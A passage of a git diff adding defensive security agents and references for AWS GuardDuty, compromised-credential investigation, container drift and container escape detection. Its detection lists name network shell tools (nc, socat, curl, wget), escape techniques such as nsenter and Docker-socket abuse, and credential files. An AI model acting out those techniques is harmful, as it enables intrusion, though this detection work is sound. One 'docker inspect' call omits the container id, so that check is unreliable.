"--enable", + "--finding-publishing-frequency", "FIFTEEN_MINUTES", + "--data-sources", json.dumps({ + "S3Logs": {"Enable": True}, + "Kubernetes": {"AuditLogs": {"Enable": True}}, + "MalwareProtection": {"ScanEc2InstanceWithFindings": {"EbsVolumes": True}}, + }), + ]) + return result + + +def get_detector_status(detector_id=None): + """Get GuardDuty detector configuration and status.""" + if not detector_id: + detector_id = get_detector_id() + if not detector_id: + return {"error": "No detector found. Run enable_guardduty first."} + return aws_cli(["guardduty", "get-detector", "--detector-id", detector_id]) + + +def list_findings(detector_id=None, severity_min=4.0, max_results=50): + """List active GuardDuty findings filtered by minimum severity.""" + if not detector_id: + detector_id = get_detector_id() + if not detector_id: + return {"error": "No detector found"} + + criteria = { + "Criterion": { + "severity": {"Gte": int(severity_min)}, + "service.archived": {"Eq": ["false"]}, + } + } + result = aws_cli([ + "guardduty", "list-findings", + "--detector-id", detector_id, + "--finding-criteria", json.dumps(criteria), + "--max-results", str(max_results), + "--sort-criteria", json.dumps({"AttributeName": "severity", "OrderBy": "DESC"}), + ]) + return result + + +def get_finding_details(detector_id, finding_ids): + """Get detailed information about specific findings.""" + if isinstance(finding_ids, str): + finding_ids = [finding_ids] + result = aws_cli([ + "guardduty", "get-findings", + "--detector-id", detector_id, + "--finding-ids"] + finding_ids[:25] + ) + findings = [] + for f in result.get("Findings", []): + resource = f.get("Resource", {}) + service = f.get("Service", {}) + findings.append({ + "id": f.get("Id"), + "type": f.get("Type"), + "severity": f.get("Severity"), + "title": f.get("Title"), + "description": f.get("Description", "")[:200], + "region": f.get("Region"), + "account_id": f.get("AccountId"), + "resource_type": resource.get("ResourceType"), + "instance_id": resource.get("InstanceDetails", {}).get("InstanceId"), + "action": service.get("Action", {}), + "first_seen": service.get("EventFirstSeen"), + "last_seen": service.get("EventLastSeen"), + "count": service.get("Count"), + }) + return findings + + +def archive_finding(detector_id, finding_ids): + """Archive (suppress) GuardDuty findings.""" + if isinstance(finding_ids, str): + finding_ids = [finding_ids] + return aws_cli([ + "guardduty", "archive-findings", + "--detector-id", detector_id, + "--finding-ids"] + finding_ids + ) + + +def create_ip_threat_intel_set(detector_id, name, s3_uri): + """Create a custom threat intelligence IP set.""" + return aws_cli([ + "guardduty", "create-threat-intel-set", + "--detector-id", detector_id, + "--name", name, + "--format", "TXT", + "--location", s3_uri, + "--activate", + ]) + + +def create_suppression_filter(detector_id, name, criterion): + """Create a suppression filter to auto-archive known benign findings.""" + return aws_cli([ + "guardduty", "create-filter", + "--detector-id", detector_id, + "--name", name, + "--action", "ARCHIVE", + "--finding-criteria", json.dumps({"Criterion": criterion}), + ]) + + +def generate_report(detector_id=None): + """Generate a GuardDuty findings summary report.""" + if not detector_id: + detector_id = get_detector_id() + if not detector_id: + return {"error": "No detector found"} + + findings_result = list_findings(detector_id, severity_min=1) + finding_ids = findings_result.get("FindingIds", []) + + details = [] + if finding_ids: + details = get_finding_details(detector_id, finding_ids[:25]) + + severity_dist = {"HIGH": 0, "MEDIUM": 0, "LOW": 0} + type_counts = {} + for f in details: + sev = f.get("severity", 0) + if sev >= 7: + severity_dist["HIGH"] += 1 + elif sev >= 4: + severity_dist["MEDIUM"] += 1 + else: + severity_dist["LOW"] += 1 + ftype = f.get("type", "unknown") + type_counts[ftype] = type_counts.get(ftype, 0) + 1 + + return { + "timestamp": datetime.utcnow().isoformat() + "Z", + "detector_id": detector_id, + "total_active_findings": len(finding_ids), + "severity_distribution": severity_dist, + "finding_types": type_counts, + "critical_findings": [f for f in details if f.get("severity", 0) >= 7], + } + + +if __name__ == "__main__": + action = sys.argv[1] if len(sys.argv) > 1 else "report" + det = get_detector_id() + if action == "report": + print(json.dumps(generate_report(det), indent=2, default=str)) + elif action == "enable": + print(json.dumps(enable_guardduty(), indent=2)) + elif action == "status": + print(json.dumps(get_detector_status(det), indent=2)) + elif action == "findings": + sev = float(sys.argv[2]) if len(sys.argv) > 2 else 4.0 + print(json.dumps(list_findings(det, sev), indent=2)) + elif action == "details" and len(sys.argv) > 2: + print(json.dumps(get_finding_details(det, sys.argv[2:]), indent=2, default=str)) + elif action == "archive" and len(sys.argv) > 2: + print(json.dumps(archive_finding(det, sys.argv[2:]), indent=2)) + else: + print("Usage: agent.py [report|enable|status|findings [min_severity]|details |archive ]") diff --git a/skills/detecting-compromised-cloud-credentials/LICENSE b/skills/detecting-compromised-cloud-credentials/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-compromised-cloud-credentials/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-compromised-cloud-credentials/references/api-reference.md b/skills/detecting-compromised-cloud-credentials/references/api-reference.md new file mode 100644 index 00000000..fdc61eca --- /dev/null +++ b/skills/detecting-compromised-cloud-credentials/references/api-reference.md @@ -0,0 +1,69 @@ +# Compromised Cloud Credentials Detection API Reference + +## GuardDuty Credential Findings + +| Finding Type | Description | +|-------------|-------------| +| `UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS` | EC2 instance creds used outside AWS | +| `UnauthorizedAccess:IAMUser/ConsoleLoginSuccess.B` | Console login from unusual location | +| `UnauthorizedAccess:IAMUser/MaliciousIPCaller` | API calls from known malicious IP | +| `Discovery:IAMUser/AnomalousBehavior` | Unusual reconnaissance API patterns | +| `Persistence:IAMUser/AnomalousBehavior` | Unusual persistence API calls | +| `InitialAccess:IAMUser/AnomalousBehavior` | Unusual initial access patterns | + +## CloudTrail - Credential Abuse Investigation + +```bash +# Lookup events by access key +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIAXXXXXXXXXXXXXXXX \ + --start-time 2024-01-01T00:00:00Z --end-time 2024-01-02T00:00:00Z + +# Lookup by username +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=Username,AttributeValue=compromised-user + +# Athena query for deep investigation +SELECT eventtime, eventsource, eventname, sourceipaddress, + useridentity.arn, errorcode +FROM cloudtrail_logs +WHERE useridentity.accesskeyid = 'AKIAXXXXXXXXXXXXXXXX' + AND eventtime > '2024-01-01' +ORDER BY eventtime DESC +``` + +## IAM Credential Remediation + +```bash +# Deactivate access key +aws iam update-access-key --access-key-id AKIAXXXX --user-name user --status Inactive + +# Delete access key +aws iam delete-access-key --access-key-id AKIAXXXX --user-name user + +# Revoke all sessions (inline deny policy with token age condition) +aws iam put-user-policy --user-name user --policy-name RevokeOldSessions \ + --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Deny","Action":"*","Resource":"*","Condition":{"DateLessThan":{"aws:TokenIssueTime":"2024-01-15T00:00:00Z"}}}]}' + +# List all access keys for user +aws iam list-access-keys --user-name user +``` + +## Reconnaissance API Calls to Monitor + +``` +GetCallerIdentity, ListBuckets, DescribeInstances, +ListUsers, ListRoles, ListAccessKeys, DescribeRegions, +GetAccountAuthorizationDetails, ListFunctions, +DescribeDBInstances, ListSecrets +``` + +## Azure - Compromised Credential Detection + +```bash +# Query risky sign-ins +az rest --method GET --url "https://graph.microsoft.com/v1.0/identityProtection/riskyUsers" + +# Revoke user sessions +az rest --method POST --url "https://graph.microsoft.com/v1.0/users/{id}/revokeSignInSessions" +``` diff --git a/skills/detecting-compromised-cloud-credentials/scripts/agent.py b/skills/detecting-compromised-cloud-credentials/scripts/agent.py new file mode 100644 index 00000000..a0a7e0b3 --- /dev/null +++ b/skills/detecting-compromised-cloud-credentials/scripts/agent.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python3 +"""Compromised cloud credential detection agent using AWS CloudTrail and GuardDuty.""" + +import json +import subprocess +import sys +from datetime import datetime, timedelta + + +def aws_cli(args): + """Execute AWS CLI command and return JSON output.""" + cmd = ["aws"] + args + ["--output", "json"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + if result.returncode == 0 and result.stdout.strip(): + return json.loads(result.stdout) + return {"error": result.stderr.strip()} if result.returncode != 0 else {} + except Exception as e: + return {"error": str(e)} + + +def get_guardduty_credential_findings(): + """Get GuardDuty findings related to credential compromise.""" + det_result = aws_cli(["guardduty", "list-detectors"]) + detector_id = det_result.get("DetectorIds", [None])[0] + if not detector_id: + return {"error": "No GuardDuty detector found"} + + credential_types = [ + "UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS", + "UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS", + "UnauthorizedAccess:IAMUser/ConsoleLoginSuccess.B", + "UnauthorizedAccess:IAMUser/MaliciousIPCaller.Custom", + "UnauthorizedAccess:IAMUser/MaliciousIPCaller", + "Recon:IAMUser/MaliciousIPCaller.Custom", + "Discovery:IAMUser/AnomalousBehavior", + "InitialAccess:IAMUser/AnomalousBehavior", + "Persistence:IAMUser/AnomalousBehavior", + ] + criteria = {"Criterion": {"type": {"Eq": credential_types}, "service.archived": {"Eq": ["false"]}}} + findings_result = aws_cli([ + "guardduty", "list-findings", + "--detector-id", detector_id, + "--finding-criteria", json.dumps(criteria), + ]) + finding_ids = findings_result.get("FindingIds", []) + if not finding_ids: + return {"findings": [], "count": 0} + + details = aws_cli(["guardduty", "get-findings", "--detector-id", detector_id, "--finding-ids"] + finding_ids[:25]) + parsed = [] + for f in details.get("Findings", []): + parsed.append({ + "type": f.get("Type"), + "severity": f.get("Severity"), + "title": f.get("Title"), + "account": f.get("AccountId"), + "region": f.get("Region"), + "resource": f.get("Resource", {}).get("AccessKeyDetails", {}), + "action": f.get("Service", {}).get("Action", {}), + }) + return {"count": len(parsed), "findings": parsed} + + +def query_cloudtrail_for_key(access_key_id, hours=24): + """Query CloudTrail for all API calls made with a specific access key.""" + end_time = datetime.utcnow() + start_time = end_time - timedelta(hours=hours) + result = aws_cli([ + "cloudtrail", "lookup-events", + "--lookup-attributes", json.dumps([{"AttributeKey": "AccessKeyId", "AttributeValue": access_key_id}]), + "--start-time", start_time.isoformat() + "Z", + "--end-time", end_time.isoformat() + "Z", + "--max-results", "50", + ]) + events = [] + for e in result.get("Events", []): + detail = json.loads(e.get("CloudTrailEvent", "{}")) + events.append({ + "time": e.get("EventTime"), + "event_name": e.get("EventName"), + "source_ip": detail.get("sourceIPAddress"), + "user_agent": detail.get("userAgent", "")[:100], + "region": detail.get("awsRegion"), + "resources": e.get("Resources", []), + }) + return {"access_key": access_key_id, "events": events, "total": len(events)} + + +def detect_anomalous_api_calls(access_key_id, hours=24): + """Detect anomalous API patterns from a potentially compromised key.""" + trail = query_cloudtrail_for_key(access_key_id, hours) + events = trail.get("events", []) + + regions = set() + ips = set() + api_calls = {} + recon_apis = ["ListBuckets", "DescribeInstances", "ListUsers", "GetCallerIdentity", + "ListRoles", "ListAccessKeys", "DescribeRegions", "ListFunctions"] + recon_count = 0 + + for e in events: + if e.get("region"): + regions.add(e["region"]) + if e.get("source_ip"): + ips.add(e["source_ip"]) + name = e.get("event_name", "") + api_calls[name] = api_calls.get(name, 0) + 1 + if name in recon_apis: + recon_count += 1 + + anomaly_score = 0 + indicators = [] + if len(regions) > 3: + anomaly_score += 30 + indicators.append(f"Multi-region activity: {len(regions)} regions") + if len(ips) > 3: + anomaly_score += 25 + indicators.append(f"Multiple source IPs: {len(ips)}") + if recon_count > 5: + anomaly_score += 25 + indicators.append(f"Reconnaissance APIs: {recon_count} calls") + if any(api in api_calls for api in ["CreateUser", "CreateAccessKey", "AttachUserPolicy"]): + anomaly_score += 40 + indicators.append("Persistence API calls detected") + + return { + "access_key": access_key_id, + "anomaly_score": min(100, anomaly_score), + "indicators": indicators, + "unique_regions": list(regions), + "unique_ips": list(ips), + "top_apis": sorted(api_calls.items(), key=lambda x: x[1], reverse=True)[:15], + } + + +def revoke_iam_sessions(username): + """Revoke all active sessions for an IAM user by adding inline deny policy.""" + policy = json.dumps({ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Deny", + "Action": "*", + "Resource": "*", + "Condition": { + "DateLessThan": {"aws:TokenIssueTime": datetime.utcnow().isoformat() + "Z"} + }, + }], + }) + return aws_cli([ + "iam", "put-user-policy", + "--user-name", username, + "--policy-name", "RevokeOldSessions", + "--policy-document", policy, + ]) + + +def deactivate_access_key(access_key_id, username): + """Deactivate a compromised access key.""" + return aws_cli([ + "iam", "update-access-key", + "--access-key-id", access_key_id, + "--user-name", username, + "--status", "Inactive", + ]) + + +def generate_report(): + """Generate a credential compromise detection report.""" + return { + "timestamp": datetime.utcnow().isoformat() + "Z", + "guardduty_findings": get_guardduty_credential_findings(), + } + + +if __name__ == "__main__": + action = sys.argv[1] if len(sys.argv) > 1 else "report" + if action == "report": + print(json.dumps(generate_report(), indent=2, default=str)) + elif action == "findings": + print(json.dumps(get_guardduty_credential_findings(), indent=2, default=str)) + elif action == "trail" and len(sys.argv) > 2: + hours = int(sys.argv[3]) if len(sys.argv) > 3 else 24 + print(json.dumps(query_cloudtrail_for_key(sys.argv[2], hours), indent=2, default=str)) + elif action == "analyze" and len(sys.argv) > 2: + print(json.dumps(detect_anomalous_api_calls(sys.argv[2]), indent=2, default=str)) + elif action == "deactivate" and len(sys.argv) > 3: + print(json.dumps(deactivate_access_key(sys.argv[2], sys.argv[3]), indent=2)) + elif action == "revoke" and len(sys.argv) > 2: + print(json.dumps(revoke_iam_sessions(sys.argv[2]), indent=2)) + else: + print("Usage: agent.py [report|findings|trail [hours]|analyze |deactivate |revoke ]") diff --git a/skills/detecting-container-drift-at-runtime/LICENSE b/skills/detecting-container-drift-at-runtime/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-container-drift-at-runtime/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-container-drift-at-runtime/references/api-reference.md b/skills/detecting-container-drift-at-runtime/references/api-reference.md new file mode 100644 index 00000000..753e0e74 --- /dev/null +++ b/skills/detecting-container-drift-at-runtime/references/api-reference.md @@ -0,0 +1,82 @@ +# API Reference: Detecting Container Drift at Runtime + +## Docker SDK for Python + +```python +import docker +client = docker.from_env() + +# List running containers +containers = client.containers.list() + +# Get container details +container = client.containers.get("container_id") +container.attrs # full inspection dict +container.image.id # image SHA256 +container.image.tags # ['app:v1.0'] + +# Filesystem diff (vs original image) +diff = container.diff() +# Returns: [{"Path": "/tmp/new_file", "Kind": 1}] +# Kind: 0=Modified, 1=Added, 2=Deleted + +# Container inspection fields +container.attrs["HostConfig"]["Privileged"] # bool +container.attrs["HostConfig"]["ReadonlyRootfs"] # bool +container.attrs["Config"]["Image"] # image reference +``` + +## Docker CLI Commands + +```bash +# Filesystem changes since creation +docker diff # A=Added, C=Changed, D=Deleted + +# Running processes +docker top -eo pid,user,comm,args + +# Image digest verification +docker inspect --format='{{.Image}}' +``` + +## Falco Drift Detection Rules + +```yaml +# Detect binary not in original image +condition: spawned_process and container and proc.is_exe_upper_layer = true + +# Detect package manager usage +condition: spawned_process and container and proc.name in (apt, yum, pip, npm) + +# Detect shell spawn +condition: spawned_process and container and proc.name in (bash, sh, dash) +``` + +## Kubernetes Security Context + +```yaml +securityContext: + readOnlyRootFilesystem: true # prevent drift + allowPrivilegeEscalation: false + runAsNonRoot: true + capabilities: + drop: ["ALL"] +``` + +## Drift Severity Classification + +| Indicator | Severity | +|-----------|----------| +| Privileged container | CRITICAL | +| Sensitive file modified (/etc/shadow) | CRITICAL | +| Binary added to system path | HIGH | +| Package manager executed | HIGH | +| Root shell active | MEDIUM | +| Mutable root filesystem | MEDIUM | + +## CLI Usage + +```bash +python agent.py --container my-app-container +python agent.py --container abc123 --all +``` diff --git a/skills/detecting-container-drift-at-runtime/scripts/agent.py b/skills/detecting-container-drift-at-runtime/scripts/agent.py new file mode 100644 index 00000000..11ab7c75 --- /dev/null +++ b/skills/detecting-container-drift-at-runtime/scripts/agent.py @@ -0,0 +1,159 @@ +#!/usr/bin/env python3 +"""Container drift detection agent using Docker SDK. + +Compares running container filesystem against the original image to detect +binary drift, file modifications, and package installations. +""" + +import argparse +import json +import subprocess +import sys +from datetime import datetime + +try: + import docker +except ImportError: + print("Install docker SDK: pip install docker") + sys.exit(1) + +PACKAGE_MANAGERS = {"apt", "apt-get", "yum", "dnf", "apk", "pip", "pip3", "npm", "gem"} +SHELLS = {"bash", "sh", "dash", "zsh", "csh", "ash"} +SUSPICIOUS_BINARIES = {"curl", "wget", "nc", "ncat", "netcat", "socat", "python", + "perl", "gcc", "cc", "make", "nmap", "tcpdump"} + + +def get_container_diff(client, container_id): + container = client.containers.get(container_id) + try: + diff = container.diff() + except docker.errors.APIError: + diff = [] + changes = {"added": [], "modified": [], "deleted": []} + for entry in diff or []: + path = entry.get("Path", "") + kind = entry.get("Kind", 0) + if kind == 0: + changes["modified"].append(path) + elif kind == 1: + changes["added"].append(path) + elif kind == 2: + changes["deleted"].append(path) + return changes + + +def get_running_processes(container_id): + try: + result = subprocess.run( + ["docker", "top", container_id, "-eo", "pid,user,comm,args"], + capture_output=True, text=True, timeout=10) + if result.returncode != 0: + return [] + lines = result.stdout.strip().split("\n")[1:] + processes = [] + for line in lines: + parts = line.split(None, 3) + if len(parts) >= 3: + processes.append({ + "pid": parts[0], "user": parts[1], + "command": parts[2], "args": parts[3] if len(parts) > 3 else "" + }) + return processes + except (subprocess.TimeoutExpired, FileNotFoundError): + return [] + + +def detect_drift_indicators(changes, processes): + findings = [] + for path in changes.get("added", []): + basename = path.rsplit("/", 1)[-1] + if basename in SUSPICIOUS_BINARIES: + findings.append({"type": "suspicious_binary_added", "path": path, + "severity": "HIGH"}) + if path.startswith("/usr/bin/") or path.startswith("/usr/sbin/"): + findings.append({"type": "binary_added_to_system_path", "path": path, + "severity": "HIGH"}) + for path in changes.get("modified", []): + if path in ("/etc/passwd", "/etc/shadow", "/etc/sudoers"): + findings.append({"type": "sensitive_file_modified", "path": path, + "severity": "CRITICAL"}) + if path.startswith("/etc/cron"): + findings.append({"type": "cron_modified", "path": path, "severity": "HIGH"}) + + for proc in processes: + cmd = proc.get("command", "") + if cmd in PACKAGE_MANAGERS: + findings.append({"type": "package_manager_running", "process": cmd, + "severity": "HIGH"}) + if cmd in SHELLS and proc.get("user") == "root": + findings.append({"type": "root_shell_active", "process": cmd, + "severity": "MEDIUM"}) + return findings + + +def check_image_digest(client, container_id): + container = client.containers.get(container_id) + image_id = container.image.id + image_tags = container.image.tags + attrs = container.attrs + config_image = attrs.get("Config", {}).get("Image", "") + uses_digest = "@sha256:" in config_image + return { + "image_id": image_id[:19], + "image_tags": image_tags, + "config_image": config_image, + "uses_immutable_digest": uses_digest, + "privileged": attrs.get("HostConfig", {}).get("Privileged", False), + "read_only_rootfs": attrs.get("HostConfig", {}).get("ReadonlyRootfs", False), + } + + +def audit_container(client, container_id): + changes = get_container_diff(client, container_id) + processes = get_running_processes(container_id) + findings = detect_drift_indicators(changes, processes) + image_info = check_image_digest(client, container_id) + + if not image_info.get("read_only_rootfs"): + findings.append({"type": "mutable_rootfs", "severity": "MEDIUM", + "detail": "readOnlyRootFilesystem not enabled"}) + if image_info.get("privileged"): + findings.append({"type": "privileged_container", "severity": "CRITICAL", + "detail": "Container running in privileged mode"}) + + total_changes = sum(len(v) for v in changes.values()) + risk = "CRITICAL" if any(f["severity"] == "CRITICAL" for f in findings) else \ + "HIGH" if total_changes > 20 or any(f["severity"] == "HIGH" for f in findings) else \ + "MEDIUM" if total_changes > 5 else "LOW" + + return { + "container_id": container_id, + "timestamp": datetime.utcnow().isoformat() + "Z", + "filesystem_changes": changes, + "total_changes": total_changes, + "running_processes": processes, + "image_info": image_info, + "findings": findings, + "risk_level": risk, + } + + +def main(): + parser = argparse.ArgumentParser(description="Container Drift Detector") + parser.add_argument("--container", required=True, help="Container ID or name") + parser.add_argument("--all", action="store_true", help="Audit all running containers") + args = parser.parse_args() + + client = docker.from_env() + results = [] + if args.all: + for c in client.containers.list(): + results.append(audit_container(client, c.id)) + else: + results.append(audit_container(client, args.container)) + + print(json.dumps(results, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-container-escape-attempts/LICENSE b/skills/detecting-container-escape-attempts/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-container-escape-attempts/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-container-escape-attempts/references/api-reference.md b/skills/detecting-container-escape-attempts/references/api-reference.md new file mode 100644 index 00000000..adb588f5 --- /dev/null +++ b/skills/detecting-container-escape-attempts/references/api-reference.md @@ -0,0 +1,74 @@ +# API Reference: Detecting Container Escape Attempts + +## Common Escape Vectors (MITRE ATT&CK) + +| Vector | Technique | MITRE ID | +|--------|-----------|----------| +| Privileged container | Mount host FS, load modules | T1611 | +| Docker socket mount | Create privileged container | T1610 | +| Kernel exploits | CVE-2022-0185, Dirty Pipe | T1068 | +| Capability abuse | SYS_ADMIN, SYS_PTRACE | T1548 | +| Sensitive mounts | /proc/sysrq-trigger, cgroup release_agent | T1611 | +| Namespace escape | nsenter, unshare | T1611 | + +## Docker CLI Inspection + +```bash +# Check if container is privileged +docker inspect --format='{{.HostConfig.Privileged}}' + +# Check added capabilities +docker inspect --format='{{.HostConfig.CapAdd}}' + +# Check PID namespace mode +docker inspect --format='{{.HostConfig.PidMode}}' + +# Check volume mounts +docker inspect --format='{{range .Mounts}}{{.Source}}:{{.Destination}} {{end}}' +``` + +## Falco JSON Alert Format + +```json +{ + "time": "2024-01-15T10:30:00.000Z", + "rule": "Container Escape via Privileged Mode", + "priority": "Critical", + "output": "Container escape attempt...", + "output_fields": { + "container.name": "attacker-pod", + "container.image.repository": "alpine", + "proc.cmdline": "nsenter -t 1 -m -u -i -n" + }, + "tags": ["container", "escape", "T1611"] +} +``` + +## Linux Audit Rules for Escape Detection + +```bash +# /etc/audit/rules.d/container-escape.rules +-a always,exit -F arch=b64 -S setns -S unshare -k container_escape +-a always,exit -F arch=b64 -S mount -S umount2 -k container_mount +-a always,exit -F arch=b64 -S init_module -S finit_module -k kernel_module +-w /var/run/docker.sock -p rwxa -k docker_socket +``` + +## Dangerous Linux Capabilities + +| Capability | Escape Risk | +|------------|-------------| +| CAP_SYS_ADMIN | Mount filesystems, manage cgroups | +| CAP_SYS_PTRACE | Trace/debug any process | +| CAP_NET_ADMIN | Network namespace manipulation | +| CAP_SYS_MODULE | Load/unload kernel modules | +| CAP_DAC_READ_SEARCH | Bypass file read permissions | + +## CLI Usage + +```bash +python agent.py --falco-log /var/log/falco/events.json +python agent.py --audit-log /var/log/audit/audit.log +python agent.py --check-containers +python agent.py --container-id abc123 +``` diff --git a/skills/detecting-container-escape-attempts/scripts/agent.py b/skills/detecting-container-escape-attempts/scripts/agent.py new file mode 100644 index 00000000..b033b5be --- /dev/null +++ b/skills/detecting-container-escape-attempts/scripts/agent.py @@ -0,0 +1,168 @@ +#!/usr/bin/env python3 +"""Container escape detection agent using Falco output parsing and audit log analysis. + +Monitors for container escape indicators by parsing Falco JSON alerts, +auditd logs, and Docker inspect data for privileged/vulnerable containers. +""" + +import argparse +import json +import re +import subprocess +import sys +from datetime import datetime +from pathlib import Path + +ESCAPE_VECTORS = { + "nsenter": {"severity": "CRITICAL", "mitre": "T1611", "desc": "Namespace escape via nsenter"}, + "unshare": {"severity": "CRITICAL", "mitre": "T1611", "desc": "Namespace manipulation"}, + "mount": {"severity": "HIGH", "mitre": "T1611", "desc": "Host filesystem mount"}, + "modprobe": {"severity": "CRITICAL", "mitre": "T1611", "desc": "Kernel module loading"}, + "insmod": {"severity": "CRITICAL", "mitre": "T1611", "desc": "Kernel module insertion"}, + "chroot": {"severity": "HIGH", "mitre": "T1611", "desc": "Chroot escape attempt"}, +} + +SENSITIVE_PATHS = [ + "/var/run/docker.sock", "/proc/sysrq-trigger", "/proc/kcore", + "/proc/kmsg", "/proc/kallsyms", "/sys/kernel", + "/etc/shadow", "/etc/kubernetes/admin.conf", +] + + +def parse_falco_json(filepath): + alerts = [] + with open(filepath, "r") as f: + for line in f: + line = line.strip() + if not line: + continue + try: + evt = json.loads(line) + if any(tag in evt.get("tags", []) for tag in ["escape", "container"]): + alerts.append({ + "time": evt.get("time", ""), + "rule": evt.get("rule", ""), + "priority": evt.get("priority", ""), + "output": evt.get("output", ""), + "output_fields": evt.get("output_fields", {}), + }) + except json.JSONDecodeError: + continue + return alerts + + +def parse_auditd_escape_events(filepath): + findings = [] + escape_keys = {"container_escape", "container_mount", "kernel_module", + "docker_socket", "process_trace"} + with open(filepath, "r") as f: + for line in f: + for key in escape_keys: + if f'key="{key}"' in line or f"key={key}" in line: + timestamp = re.search(r'msg=audit\((\d+\.\d+):', line) + syscall = re.search(r'syscall=(\w+)', line) + exe = re.search(r'exe="([^"]+)"', line) + findings.append({ + "timestamp": timestamp.group(1) if timestamp else "", + "key": key, + "syscall": syscall.group(1) if syscall else "", + "exe": exe.group(1) if exe else "", + "severity": "CRITICAL", + "raw": line.strip()[:200], + }) + return findings + + +def check_privileged_containers(): + containers = [] + try: + result = subprocess.run( + ["docker", "ps", "--format", "{{.ID}} {{.Names}} {{.Image}}"], + capture_output=True, text=True, timeout=10) + if result.returncode != 0: + return containers + for line in result.stdout.strip().split("\n"): + if not line.strip(): + continue + parts = line.split(None, 2) + cid = parts[0] + inspect = subprocess.run( + ["docker", "inspect", "--format", + "{{.HostConfig.Privileged}} {{.HostConfig.PidMode}} " + "{{range .HostConfig.Binds}}{{.}} {{end}}"], + capture_output=True, text=True, timeout=10) + if inspect.returncode == 0: + info = inspect.stdout.strip() + findings = [] + if "true" in info.split()[0:1]: + findings.append("privileged_mode") + if "host" in info: + findings.append("host_pid_namespace") + if "/var/run/docker.sock" in info: + findings.append("docker_socket_mounted") + if findings: + containers.append({ + "container_id": cid, + "name": parts[1] if len(parts) > 1 else "", + "image": parts[2] if len(parts) > 2 else "", + "escape_risks": findings, + "severity": "CRITICAL" if "privileged_mode" in findings else "HIGH", + }) + except (subprocess.TimeoutExpired, FileNotFoundError): + pass + return containers + + +def check_dangerous_capabilities(container_id): + dangerous_caps = {"SYS_ADMIN", "SYS_PTRACE", "NET_ADMIN", "SYS_RAWIO", + "SYS_MODULE", "DAC_READ_SEARCH"} + try: + result = subprocess.run( + ["docker", "inspect", "--format", "{{.HostConfig.CapAdd}}", container_id], + capture_output=True, text=True, timeout=10) + if result.returncode == 0: + caps = set(re.findall(r'\b([A-Z_]+)\b', result.stdout)) + found = caps & dangerous_caps + return [{"capability": c, "severity": "CRITICAL"} for c in found] + except (subprocess.TimeoutExpired, FileNotFoundError): + pass + return [] + + +def main(): + parser = argparse.ArgumentParser(description="Container Escape Detector") + parser.add_argument("--falco-log", help="Path to Falco JSON output log") + parser.add_argument("--audit-log", help="Path to auditd log file") + 